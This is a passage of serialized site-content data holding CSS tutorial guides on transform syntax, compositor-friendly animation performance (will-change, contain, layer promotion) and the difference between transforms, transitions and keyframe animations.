browsers.",[135,77223,77225],{"className":1554,"code":77224,"language":1556,"meta":141,"style":141},"\u002F* Individual properties (modern) *\u002F\ntranslate: 20px 10px;\nrotate: 45deg;\nscale: 1.2;\n\n\u002F* Shorthand (universal) *\u002F\ntransform: translate(20px, 10px) rotate(45deg) scale(1.2);\n",[143,77226,77227,77232,77237,77242,77247,77251,77256],{"__ignoreMap":141},[1560,77228,77229],{"class":1562,"line":1563},[1560,77230,77231],{"class":1649},"\u002F* Individual properties (modern) *\u002F\n",[1560,77233,77234],{"class":1562,"line":337},[1560,77235,77236],{"class":1570},"translate: 20px 10px;\n",[1560,77238,77239],{"class":1562,"line":343},[1560,77240,77241],{"class":1570},"rotate: 45deg;\n",[1560,77243,77244],{"class":1562,"line":365},[1560,77245,77246],{"class":1570},"scale: 1.2;\n",[1560,77248,77249],{"class":1562,"line":889},[1560,77250,1702],{"emptyLinePlaceholder":363},[1560,77252,77253],{"class":1562,"line":1710},[1560,77254,77255],{"class":1649},"\u002F* Shorthand (universal) *\u002F\n",[1560,77257,77258,77261,77263],{"class":1562,"line":1717},[1560,77259,77260],{"class":1570},"transform: translate(20px, 10px) rotate(45deg) scale(1",[1560,77262,57850],{"class":1566},[1560,77264,1744],{"class":1570},[11,77266,1355],{"id":1354},[41,77268,77269,77272,77287,77297,77302,77308],{},[44,77270,77271],{},"CSS transforms change visual rendering without affecting document flow",[44,77273,77274,77276,77277,77279,77280,77282,77283,77286],{},[143,77275,76584],{}," moves, ",[143,77278,35461],{}," spins, ",[143,77281,45137],{}," resizes, ",[143,77284,77285],{},"skew"," tilts — each has X\u002FY variants",[44,77288,77289,77290,77293,77294],{},"Transform order matters: ",[143,77291,77292],{},"rotate then translate"," ≠ ",[143,77295,77296],{},"translate then rotate",[44,77298,77299,77301],{},[143,77300,76922],{}," controls the pivot point — default is center, but custom origins create more natural animations",[44,77303,77304,77305,77307],{},"3D transforms require ",[143,77306,1469],{}," on the parent for realistic depth",[44,77309,77310],{},"Individual transform properties offer cleaner syntax but need fallbacks for older browsers",[11,77312,286],{"id":285},[16,77314,77315,77316,77318],{},"Build and preview CSS transforms interactively with our ",[98,77317,2018],{"href":2017},". Adjust rotate, scale, translate, and skew values and copy the generated code straight into your project.",[11,77320,321],{"id":320},[41,77322,77323,77328],{},[44,77324,77325,77327],{},[98,77326,2041],{"href":2040}," — Combine transforms with filters and blend modes for rich visual treatments",[44,77329,77330,77332],{},[98,77331,2035],{"href":2034}," — Turn transforms into smooth animations with transitions and keyframes",[2043,77334,77335],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":141,"searchDepth":337,"depth":337,"links":77337},[77338,77339,77346,77347,77348,77349,77350,77351,77352,77353],{"id":76482,"depth":337,"text":76483},{"id":76521,"depth":337,"text":76522,"children":77340},[77341,77342,77343,77344,77345],{"id":76528,"depth":343,"text":76529},{"id":76595,"depth":343,"text":76596},{"id":76658,"depth":343,"text":76659},{"id":76731,"depth":343,"text":76732},{"id":76773,"depth":343,"text":76774},{"id":76809,"depth":337,"text":76810},{"id":76857,"depth":337,"text":76858},{"id":76922,"depth":337,"text":76922},{"id":77044,"depth":337,"text":77045},{"id":5511,"depth":337,"text":5512},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn how CSS transforms work — rotate, scale, translate, skew — with practical examples and visual demos.",{"immutable":363},{"title":2029,"description":77354},"guides\u002Fcss-transform-guide","5U0xgO98XWcfCX5R9J4ajzMCC75veNNPv2O8Xq6C4ss",{"id":77360,"title":77361,"body":77362,"date":2070,"description":77999,"extension":361,"meta":78000,"navigation":363,"path":78001,"readingTime":1710,"seo":78002,"stem":78003,"__hash__":78004},"guides\u002Fguides\u002Fcss-transform-performance.md","CSS Transform Performance Tips",{"type":8,"value":77363,"toc":77985},[77364,77368,77376,77379,77385,77390,77396,77399,77403,77406,77528,77544,77548,77553,77575,77578,77582,77605,77609,77628,77670,77674,77680,77703,77770,77776,77780,77786,77847,77850,77854,77857,77877,77880,77884,77937,77939,77975,77977,77982],[11,77365,77367],{"id":77366},"why-transforms-are-fast","Why Transforms Are Fast",[16,77369,77370,77371,1531,77373,77375],{},"CSS transforms are the gold standard for performant animations because they skip the browser's main rendering pipeline. When you animate ",[143,77372,1514],{},[143,77374,1891],{},", the browser promotes the element to its own compositor layer and handles changes entirely on the GPU.",[16,77377,77378],{},"The normal rendering pipeline for a style change looks like this:",[135,77380,77383],{"className":77381,"code":77382,"language":140},[138],"Style → Layout → Paint → Composite\n",[143,77384,77382],{"__ignoreMap":141},[16,77386,49066,77387,77389],{},[143,77388,1514],{}," short-circuits this to:",[135,77391,77394],{"className":77392,"code":77393,"language":140},[138],"Style → Composite\n",[143,77395,77393],{"__ignoreMap":141},[16,77397,77398],{},"The browser never recalculates layout or repaints pixels — it just tells the compositor to adjust the layer's position, scale, or rotation. This happens at 60fps even on mid-range hardware.",[11,77400,77402],{"id":77401},"properties-that-trigger-full-repaint","Properties That Trigger Full Repaint",[16,77404,77405],{},"Not all CSS properties are compositor-friendly. Here is how common properties affect the pipeline:",[193,77407,77408,77423],{},[196,77409,77410],{},[199,77411,77412,77414,77417,77420],{},[202,77413,14482],{},[202,77415,77416],{},"Layout",[202,77418,77419],{},"Paint",[202,77421,77422],{},"Composite",[211,77424,77425,77437,77449,77462,77474,77486,77500,77514],{},[199,77426,77427,77431,77433,77435],{},[216,77428,77429],{},[143,77430,1514],{},[216,77432,6117],{},[216,77434,6117],{},[216,77436,3057],{},[199,77438,77439,77443,77445,77447],{},[216,77440,77441],{},[143,77442,1891],{},[216,77444,6117],{},[216,77446,6117],{},[216,77448,3057],{},[199,77450,77451,77455,77457,77460],{},[216,77452,77453],{},[143,77454,23109],{},[216,77456,6117],{},[216,77458,77459],{},"Sometimes",[216,77461,3057],{},[199,77463,77464,77468,77470,77472],{},[216,77465,77466],{},[143,77467,1880],{},[216,77469,6117],{},[216,77471,3057],{},[216,77473,3057],{},[199,77475,77476,77480,77482,77484],{},[216,77477,77478],{},[143,77479,51625],{},[216,77481,6117],{},[216,77483,3057],{},[216,77485,3057],{},[199,77487,77488,77494,77496,77498],{},[216,77489,77490,14237,77492],{},[143,77491,1870],{},[143,77493,1873],{},[216,77495,3057],{},[216,77497,3057],{},[216,77499,3057],{},[199,77501,77502,77508,77510,77512],{},[216,77503,77504,14237,77506],{},[143,77505,1876],{},[143,77507,41140],{},[216,77509,3057],{},[216,77511,3057],{},[216,77513,3057],{},[199,77515,77516,77522,77524,77526],{},[216,77517,77518,14237,77520],{},[143,77519,45287],{},[143,77521,45290],{},[216,77523,3057],{},[216,77525,3057],{},[216,77527,3057],{},[16,77529,77530,77531,77533,77534,1466,77536,77533,77539,9423,77541,77543],{},"Always prefer ",[143,77532,45468],{}," over ",[143,77535,45290],{},[143,77537,77538],{},"transform: scale()",[143,77540,1870],{},[143,77542,1873],{}," changes. The difference between composite-only and layout-triggering animations is often 10x in frame time.",[11,77545,77547],{"id":77546},"the-will-change-property","The will-change Property",[16,77549,77550,77552],{},[143,77551,1590],{}," tells the browser to optimize for an upcoming change, typically by promoting the element to its own layer ahead of time:",[135,77554,77556],{"className":1554,"code":77555,"language":1556,"meta":141,"style":141},".animated-element {\n  will-change: transform;\n}\n",[143,77557,77558,77565,77571],{"__ignoreMap":141},[1560,77559,77560,77563],{"class":1562,"line":1563},[1560,77561,77562],{"class":1566},".animated-element",[1560,77564,1571],{"class":1570},[1560,77566,77567,77569],{"class":1562,"line":337},[1560,77568,1577],{"class":1576},[1560,77570,1580],{"class":1570},[1560,77572,77573],{"class":1562,"line":343},[1560,77574,1585],{"class":1570},[16,77576,77577],{},"This eliminates the first-frame jank that can occur when the browser promotes an element mid-animation.",[33,77579,77581],{"id":77580},"when-to-use-will-change","When to Use will-change",[41,77583,77584,77590,77599],{},[44,77585,77586,77589],{},[47,77587,77588],{},"Use it"," when an element is about to be animated (e.g., on hover enter, or via a class added before animation starts).",[44,77591,77592,77595,77596,77598],{},[47,77593,77594],{},"Use it sparingly"," — each ",[143,77597,1590],{}," declaration consumes GPU memory for a separate compositor layer.",[44,77600,77601,77604],{},[47,77602,77603],{},"Remove it"," after the animation ends to free resources.",[33,77606,77608],{"id":77607},"when-not-to-use-will-change","When Not to Use will-change",[41,77610,77611,77619],{},[44,77612,77613,44902,77616,77618],{},[47,77614,77615],{},"Never apply it broadly",[143,77617,1530],{}," on hundreds of list items causes GPU memory exhaustion and may actually hurt performance.",[44,77620,77621,77624,77625,77627],{},[47,77622,77623],{},"Don't use it as a premature optimization"," — if your animation is already smooth, ",[143,77626,1590],{}," adds no benefit and consumes resources.",[135,77629,77631],{"className":1554,"code":77630,"language":1556,"meta":141,"style":141},"\u002F* Bad: applied permanently to many elements *\u002F\n.list-item { will-change: transform; }\n\n\u002F* Good: applied just before animation, removed after *\u002F\n.list-item.is-dragging { will-change: transform; }\n",[143,77632,77633,77638,77650,77654,77659],{"__ignoreMap":141},[1560,77634,77635],{"class":1562,"line":1563},[1560,77636,77637],{"class":1649},"\u002F* Bad: applied permanently to many elements *\u002F\n",[1560,77639,77640,77643,77645,77647],{"class":1562,"line":337},[1560,77641,77642],{"class":1566},".list-item",[1560,77644,1658],{"class":1570},[1560,77646,1590],{"class":1576},[1560,77648,77649],{"class":1570},": transform; }\n",[1560,77651,77652],{"class":1562,"line":343},[1560,77653,1702],{"emptyLinePlaceholder":363},[1560,77655,77656],{"class":1562,"line":365},[1560,77657,77658],{"class":1649},"\u002F* Good: applied just before animation, removed after *\u002F\n",[1560,77660,77661,77664,77666,77668],{"class":1562,"line":889},[1560,77662,77663],{"class":1566},".list-item.is-dragging",[1560,77665,1658],{"class":1570},[1560,77667,1590],{"class":1576},[1560,77669,77649],{"class":1570},[11,77671,77673],{"id":77672},"containment-for-performance","Containment for Performance",[16,77675,421,77676,77679],{},[143,77677,77678],{},"contain"," property tells the browser that an element's contents are independent of the rest of the document, allowing the browser to skip layout and paint for outside elements:",[135,77681,77683],{"className":1554,"code":77682,"language":1556,"meta":141,"style":141},".card {\n  contain: layout paint;\n}\n",[143,77684,77685,77691,77699],{"__ignoreMap":141},[1560,77686,77687,77689],{"class":1562,"line":1563},[1560,77688,1567],{"class":1566},[1560,77690,1571],{"class":1570},[1560,77692,77693,77696],{"class":1562,"line":337},[1560,77694,77695],{"class":1576},"  contain",[1560,77697,77698],{"class":1570},": layout paint;\n",[1560,77700,77701],{"class":1562,"line":343},[1560,77702,1585],{"class":1570},[193,77704,77705,77714],{},[196,77706,77707],{},[199,77708,77709,77711],{},[202,77710,1769],{},[202,77712,77713],{},"What it isolates",[211,77715,77716,77726,77736,77746,77758],{},[199,77717,77718,77723],{},[216,77719,77720],{},[143,77721,77722],{},"layout",[216,77724,77725],{},"Layout changes inside don't affect outside",[199,77727,77728,77733],{},[216,77729,77730],{},[143,77731,77732],{},"paint",[216,77734,77735],{},"Element won't paint outside its bounds",[199,77737,77738,77743],{},[216,77739,77740],{},[143,77741,77742],{},"size",[216,77744,77745],{},"Element's size is independent of content",[199,77747,77748,77752],{},[216,77749,77750],{},[143,77751,63339],{},[216,77753,77754,77755],{},"Shorthand for ",[143,77756,77757],{},"layout paint",[199,77759,77760,77765],{},[216,77761,77762],{},[143,77763,77764],{},"strict",[216,77766,77754,77767],{},[143,77768,77769],{},"layout paint size",[16,77771,1388,77772,77775],{},[143,77773,77774],{},"contain: content"," on repeated components like cards, list items, and sidebar sections to limit the scope of reflows.",[11,77777,77779],{"id":77778},"promoting-elements-to-layers","Promoting Elements to Layers",[16,77781,77782,77783,77785],{},"Besides ",[143,77784,1590],{},", there are other ways to trigger layer promotion:",[135,77787,77789],{"className":1554,"code":77788,"language":1556,"meta":141,"style":141},".promoted {\n  transform: translateZ(0);   \u002F* Classic hack *\u002F\n  backface-visibility: hidden; \u002F* Side effect: promotes *\u002F\n  isolation: isolate;          \u002F* Creates stacking context *\u002F\n}\n",[143,77790,77791,77798,77815,77828,77843],{"__ignoreMap":141},[1560,77792,77793,77796],{"class":1562,"line":1563},[1560,77794,77795],{"class":1566},".promoted",[1560,77797,1571],{"class":1570},[1560,77799,77800,77802,77804,77806,77808,77810,77812],{"class":1562,"line":337},[1560,77801,1720],{"class":1576},[1560,77803,1663],{"class":1570},[1560,77805,1465],{"class":1576},[1560,77807,1688],{"class":1570},[1560,77809,5285],{"class":1576},[1560,77811,47771],{"class":1570},[1560,77813,77814],{"class":1649},"\u002F* Classic hack *\u002F\n",[1560,77816,77817,77819,77821,77823,77825],{"class":1562,"line":343},[1560,77818,44178],{"class":1576},[1560,77820,1663],{"class":1570},[1560,77822,44183],{"class":1576},[1560,77824,3664],{"class":1570},[1560,77826,77827],{"class":1649},"\u002F* Side effect: promotes *\u002F\n",[1560,77829,77830,77833,77835,77838,77840],{"class":1562,"line":365},[1560,77831,77832],{"class":1576},"  isolation",[1560,77834,1663],{"class":1570},[1560,77836,77837],{"class":1576},"isolate",[1560,77839,58865],{"class":1570},[1560,77841,77842],{"class":1649},"\u002F* Creates stacking context *\u002F\n",[1560,77844,77845],{"class":1562,"line":889},[1560,77846,1585],{"class":1570},[16,77848,77849],{},"Use these only when benchmarking shows a measurable improvement. Promoting everything to layers increases memory usage and can cause the compositor to spend more time managing layers than actually compositing.",[11,77851,77853],{"id":77852},"debugging-performance-issues","Debugging Performance Issues",[16,77855,77856],{},"Chrome DevTools provides several tools for diagnosing animation performance:",[41,77858,77859,77865,77871],{},[44,77860,77861,77864],{},[47,77862,77863],{},"Performance tab",": Record an animation and check for long frames. Look at the \"Layers\" and \"Paints\" sections.",[44,77866,77867,77870],{},[47,77868,77869],{},"Rendering panel",": Enable \"Paint flashing\" to see which elements repaint. Green overlays indicate paint areas.",[44,77872,77873,77876],{},[47,77874,77875],{},"Layers panel",": See how many compositor layers exist and their memory cost.",[16,77878,77879],{},"A healthy animation profile shows frames under 16ms with zero layout or paint operations — only composite.",[11,77881,77883],{"id":77882},"common-performance-mistakes","Common Performance Mistakes",[41,77885,77886,77897,77911,77920,77928],{},[44,77887,77888,77896],{},[47,77889,49066,77890,9423,77892,55616,77894],{},[143,77891,45287],{},[143,77893,45290],{},[143,77895,1514],{}," — triggers layout on every frame.",[44,77898,77899,77904,77905,77907,77908,77910],{},[47,77900,77038,77901,77903],{},[143,77902,1880],{}," on hover"," — triggers paint. Use ",[143,77906,49343],{}," or animate ",[143,77909,1891],{}," of an overlaid shadow element.",[44,77912,77913,77919],{},[47,77914,77915,77916,77918],{},"Too many ",[143,77917,1590],{}," declarations"," — exhausts GPU memory, causing layer thrashing.",[44,77921,77922,77927],{},[47,77923,77924,77925],{},"Nested transforms without ",[143,77926,44234],{}," — forces the browser to flatten and repaint.",[44,77929,77930,77936],{},[47,77931,77932,77933,77935],{},"Ignoring ",[143,77934,77678],{}," on large lists"," — every item change causes a full-container reflow.",[11,77938,1355],{"id":1354},[41,77940,77941,77948,77953,77956,77961,77972],{},[44,77942,77943,1856,77945,77947],{},[143,77944,1514],{},[143,77946,1891],{}," are the only properties that animate on the compositor alone — always prefer them.",[44,77949,77950,77952],{},[143,77951,1590],{}," pre-promotes elements to GPU layers; use it before animation, remove it after.",[44,77954,77955],{},"Each compositor layer consumes GPU memory — more layers are not always better.",[44,77957,77958,77960],{},[143,77959,77774],{}," limits reflow scope for isolated components.",[44,77962,77963,77964,1459,77966,1459,77968,1466,77970,468],{},"Avoid animating layout-triggering properties like ",[143,77965,1870],{},[143,77967,1873],{},[143,77969,45287],{},[143,77971,45290],{},[44,77973,77974],{},"Use Chrome DevTools to verify that animations stay in the composite stage only.",[11,77976,286],{"id":285},[16,77978,77979,77980,468],{},"Build and preview CSS transforms with live performance feedback using the ",[98,77981,2018],{"href":2017},[2043,77983,77984],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":77986},[77987,77988,77989,77993,77994,77995,77996,77997,77998],{"id":77366,"depth":337,"text":77367},{"id":77401,"depth":337,"text":77402},{"id":77546,"depth":337,"text":77547,"children":77990},[77991,77992],{"id":77580,"depth":343,"text":77581},{"id":77607,"depth":343,"text":77608},{"id":77672,"depth":337,"text":77673},{"id":77778,"depth":337,"text":77779},{"id":77852,"depth":337,"text":77853},{"id":77882,"depth":337,"text":77883},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Why transforms trigger GPU acceleration and how to use will-change for smooth animations.",{"immutable":363},"\u002Fguides\u002Fcss-transform-performance",{"title":77361,"description":77999},"guides\u002Fcss-transform-performance","3A8ODpqbDLQq6E-ypXbTSlbPFZuzTKAtxaWbHqPkFio",{"id":78006,"title":78007,"body":78008,"date":2070,"description":78966,"extension":361,"meta":78967,"navigation":363,"path":78968,"readingTime":1717,"seo":78969,"stem":78970,"__hash__":78971},"guides\u002Fguides\u002Fcss-transform-vs-css-animation.md","CSS Transform vs CSS Animation",{"type":8,"value":78009,"toc":78944},[78010,78014,78024,78038,78041,78045,78051,78090,78093,78097,78115,78119,78124,78225,78228,78232,78262,78266,78280,78284,78289,78376,78380,78422,78426,78440,78442,78450,78519,78537,78541,78544,78567,78569,78669,78673,78676,78707,78886,78888,78918,78920,78926,78928,78942],[11,78011,78013],{"id":78012},"the-core-distinction","The Core Distinction",[16,78015,31366,78016,78019,78020,78023],{},[47,78017,78018],{},"transforms"," change how an element looks — move it, rotate it, scale it, skew it. CSS ",[47,78021,78022],{},"animations and transitions"," change properties over time — making those transforms happen smoothly across frames.",[16,78025,78026,78027,78030,78031,1856,78034,78037],{},"They are not alternatives. They are complementary tools. Transforms describe ",[7310,78028,78029],{},"what"," changes. Animations and transitions describe ",[7310,78032,78033],{},"when",[7310,78035,78036],{},"how"," it changes.",[16,78039,78040],{},"Understanding this distinction prevents you from reaching for the wrong tool.",[11,78042,78044],{"id":78043},"css-transforms-the-what","CSS Transforms: The What",[16,78046,78047,78048,78050],{},"A ",[143,78049,1514],{}," applies a visual modification without affecting document flow. The element still occupies its original space — only its rendering changes.",[135,78052,78054],{"className":1554,"code":78053,"language":1556,"meta":141,"style":141},".card:hover {\n  transform: scale(1.05) translateY(-2px);\n}\n",[143,78055,78056,78062,78086],{"__ignoreMap":141},[1560,78057,78058,78060],{"class":1562,"line":1563},[1560,78059,18745],{"class":1566},[1560,78061,1571],{"class":1570},[1560,78063,78064,78066,78068,78070,78072,78074,78076,78078,78080,78082,78084],{"class":1562,"line":337},[1560,78065,1720],{"class":1576},[1560,78067,1663],{"class":1570},[1560,78069,45137],{"class":1576},[1560,78071,1688],{"class":1570},[1560,78073,45142],{"class":1576},[1560,78075,1733],{"class":1570},[1560,78077,18845],{"class":1576},[1560,78079,1688],{"class":1570},[1560,78081,19759],{"class":1576},[1560,78083,1670],{"class":1669},[1560,78085,1744],{"class":1570},[1560,78087,78088],{"class":1562,"line":343},[1560,78089,1585],{"class":1570},[16,78091,78092],{},"This instantly jumps the card to its new size and position. No motion. No smoothness. Just a state change.",[33,78094,78096],{"id":78095},"when-transforms-alone-are-enough","When transforms alone are enough",[41,78098,78099,78102,78105,78108],{},[44,78100,78101],{},"State changes triggered by hover, focus, or class toggles",[44,78103,78104],{},"Instant visual feedback where animation would feel sluggish",[44,78106,78107],{},"Print layouts where motion is irrelevant",[44,78109,78110,78111,78114],{},"Reducing an element to zero size with ",[143,78112,78113],{},"scale(0)"," for removal",[11,78116,78118],{"id":78117},"css-transitions-the-simple-how","CSS Transitions: The Simple How",[16,78120,78047,78121,78123],{},[143,78122,45006],{}," animates a property change between two states. You define duration, timing function, and delay on the element itself.",[135,78125,78127],{"className":1554,"code":78126,"language":1556,"meta":141,"style":141},".card {\n  transition: transform 0.3s ease, box-shadow 0.3s ease;\n}\n\n.card:hover {\n  transform: scale(1.05);\n  box-shadow: 0 8px 24px rgba(0, 0, 0, 0.15);\n}\n",[143,78128,78129,78135,78157,78161,78165,78171,78185,78221],{"__ignoreMap":141},[1560,78130,78131,78133],{"class":1562,"line":1563},[1560,78132,1567],{"class":1566},[1560,78134,1571],{"class":1570},[1560,78136,78137,78139,78141,78143,78145,78147,78149,78151,78153,78155],{"class":1562,"line":337},[1560,78138,18718],{"class":1576},[1560,78140,19594],{"class":1570},[1560,78142,18724],{"class":1576},[1560,78144,18727],{"class":1669},[1560,78146,18730],{"class":1576},[1560,78148,72657],{"class":1570},[1560,78150,18724],{"class":1576},[1560,78152,18727],{"class":1669},[1560,78154,18730],{"class":1576},[1560,78156,2228],{"class":1570},[1560,78158,78159],{"class":1562,"line":343},[1560,78160,1585],{"class":1570},[1560,78162,78163],{"class":1562,"line":365},[1560,78164,1702],{"emptyLinePlaceholder":363},[1560,78166,78167,78169],{"class":1562,"line":889},[1560,78168,18745],{"class":1566},[1560,78170,1571],{"class":1570},[1560,78172,78173,78175,78177,78179,78181,78183],{"class":1562,"line":1710},[1560,78174,1720],{"class":1576},[1560,78176,1663],{"class":1570},[1560,78178,45137],{"class":1576},[1560,78180,1688],{"class":1570},[1560,78182,45142],{"class":1576},[1560,78184,1744],{"class":1570},[1560,78186,78187,78189,78191,78193,78195,78197,78199,78201,78203,78205,78207,78209,78211,78213,78215,78217,78219],{"class":1562,"line":1717},[1560,78188,18679],{"class":1576},[1560,78190,1663],{"class":1570},[1560,78192,5285],{"class":1576},[1560,78194,13490],{"class":1576},[1560,78196,1670],{"class":1669},[1560,78198,18193],{"class":1576},[1560,78200,1670],{"class":1669},[1560,78202,18694],{"class":1576},[1560,78204,1688],{"class":1570},[1560,78206,5285],{"class":1576},[1560,78208,1459],{"class":1570},[1560,78210,5285],{"class":1576},[1560,78212,1459],{"class":1570},[1560,78214,5285],{"class":1576},[1560,78216,1459],{"class":1570},[1560,78218,19693],{"class":1576},[1560,78220,1744],{"class":1570},[1560,78222,78223],{"class":1562,"line":1747},[1560,78224,1585],{"class":1570},[16,78226,78227],{},"The browser interpolates between the resting state and the hover state over 0.3 seconds.",[33,78229,78231],{"id":78230},"transition-strengths","Transition strengths",[41,78233,78234,78240,78246,78252],{},[44,78235,78236,78239],{},[47,78237,78238],{},"Simple to write"," — one line per property",[44,78241,78242,78245],{},[47,78243,78244],{},"Automatic reversal"," — moving the mouse away transitions back",[44,78247,78248,78251],{},[47,78249,78250],{},"No keyframes needed"," — two states only",[44,78253,78254,78257,78258,1856,78260],{},[47,78255,78256],{},"Performant"," — when limited to ",[143,78259,1514],{},[143,78261,1891],{},[33,78263,78265],{"id":78264},"transition-limitations","Transition limitations",[41,78267,78268,78271,78274,78277],{},[44,78269,78270],{},"Cannot chain multiple steps",[44,78272,78273],{},"Cannot loop or pause mid-animation",[44,78275,78276],{},"Cannot describe complex sequences",[44,78278,78279],{},"Only interpolate between two values — no intermediate stops",[11,78281,78283],{"id":78282},"css-animations-the-full-control-how","CSS Animations: The Full Control How",[16,78285,78286,78288],{},[143,78287,19946],{}," animations give you full control over every frame of the motion — multiple stops, loops, directions, and playback states.",[135,78290,78292],{"className":1554,"code":78291,"language":1556,"meta":141,"style":141},"@keyframes pulse {\n  0%, 100% { transform: scale(1); }\n  50% { transform: scale(1.08); }\n}\n\n.badge {\n  animation: pulse 2s ease-in-out infinite;\n}\n",[143,78293,78294,78302,78324,78342,78346,78350,78356,78372],{"__ignoreMap":141},[1560,78295,78296,78298,78300],{"class":1562,"line":1563},[1560,78297,19946],{"class":1669},[1560,78299,45183],{"class":2219},[1560,78301,1571],{"class":1570},[1560,78303,78304,78306,78308,78310,78312,78314,78316,78318,78320,78322],{"class":1562,"line":337},[1560,78305,19965],{"class":1566},[1560,78307,1459],{"class":1570},[1560,78309,19970],{"class":1566},[1560,78311,1658],{"class":1570},[1560,78313,1514],{"class":1576},[1560,78315,1663],{"class":1570},[1560,78317,45137],{"class":1576},[1560,78319,1688],{"class":1570},[1560,78321,3585],{"class":1576},[1560,78323,1697],{"class":1570},[1560,78325,78326,78328,78330,78332,78334,78336,78338,78340],{"class":1562,"line":343},[1560,78327,20020],{"class":1566},[1560,78329,1658],{"class":1570},[1560,78331,1514],{"class":1576},[1560,78333,1663],{"class":1570},[1560,78335,45137],{"class":1576},[1560,78337,1688],{"class":1570},[1560,78339,45224],{"class":1576},[1560,78341,1697],{"class":1570},[1560,78343,78344],{"class":1562,"line":365},[1560,78345,1585],{"class":1570},[1560,78347,78348],{"class":1562,"line":889},[1560,78349,1702],{"emptyLinePlaceholder":363},[1560,78351,78352,78354],{"class":1562,"line":1710},[1560,78353,55200],{"class":1566},[1560,78355,1571],{"class":1570},[1560,78357,78358,78360,78362,78364,78366,78368,78370],{"class":1562,"line":1717},[1560,78359,20083],{"class":1576},[1560,78361,45247],{"class":1570},[1560,78363,10099],{"class":1576},[1560,78365,18727],{"class":1669},[1560,78367,20093],{"class":1576},[1560,78369,20096],{"class":1576},[1560,78371,2228],{"class":1570},[1560,78373,78374],{"class":1562,"line":1747},[1560,78375,1585],{"class":1570},[33,78377,78379],{"id":78378},"animation-strengths","Animation strengths",[41,78381,78382,78388,78397,78408,78416],{},[44,78383,78384,78387],{},[47,78385,78386],{},"Multi-step sequences"," — as many keyframe stops as you need",[44,78389,78390,23567,78393,78396],{},[47,78391,78392],{},"Looping",[143,78394,78395],{},"infinite"," or a fixed count",[44,78398,78399,23567,78402,1459,78405],{},[47,78400,78401],{},"Direction control",[143,78403,78404],{},"alternate",[143,78406,78407],{},"reverse",[44,78409,78410,23567,78413],{},[47,78411,78412],{},"Playback control",[143,78414,78415],{},"animation-play-state: paused",[44,78417,78418,78421],{},[47,78419,78420],{},"Independent of state changes"," — runs regardless of hover or focus",[33,78423,78425],{"id":78424},"animation-limitations","Animation limitations",[41,78427,78428,78431,78434],{},[44,78429,78430],{},"More verbose syntax",[44,78432,78433],{},"Harder to reverse on interaction without JavaScript",[44,78435,78436,78437],{},"Infinite animations consume resources even when off-screen unless you manage ",[143,78438,78439],{},"animation-play-state",[11,78441,26165],{"id":26164},[16,78443,78444,78445,1856,78447,78449],{},"All three — transforms, transitions, and animations — can run on the compositor thread when you limit yourself to ",[143,78446,1514],{},[143,78448,1891],{},". But the cost profile differs.",[193,78451,78452,78467],{},[196,78453,78454],{},[199,78455,78456,78458,78461,78464],{},[202,78457,52178],{},[202,78459,78460],{},"Compositor-friendly?",[202,78462,78463],{},"Main-thread cost",[202,78465,78466],{},"Memory overhead",[211,78468,78469,78484,78501],{},[199,78470,78471,78476,78478,78481],{},[216,78472,78473,78475],{},[143,78474,1514],{}," (instant)",[216,78477,3057],{},[216,78479,78480],{},"Near zero",[216,78482,78483],{},"Layer creation",[199,78485,78486,78490,78497,78499],{},[216,78487,78488],{},[143,78489,45006],{},[216,78491,78492,78493,9423,78495,1525],{},"Yes (if ",[143,78494,1514],{},[143,78496,1891],{},[216,78498,78480],{},[216,78500,78483],{},[199,78502,78503,78508,78514,78516],{},[216,78504,78505,78507],{},[143,78506,19946],{}," animation",[216,78509,78492,78510,9423,78512,1525],{},[143,78511,1514],{},[143,78513,1891],{},[216,78515,78480],{},[216,78517,78518],{},"Layer creation + keyframe storage",[16,78520,78521,78522,78525,78526,1459,78528,1459,78530,1459,78532,1877,78534,78536],{},"The performance trap is not the technique you choose — it is the ",[47,78523,78524],{},"properties you animate",". Animating 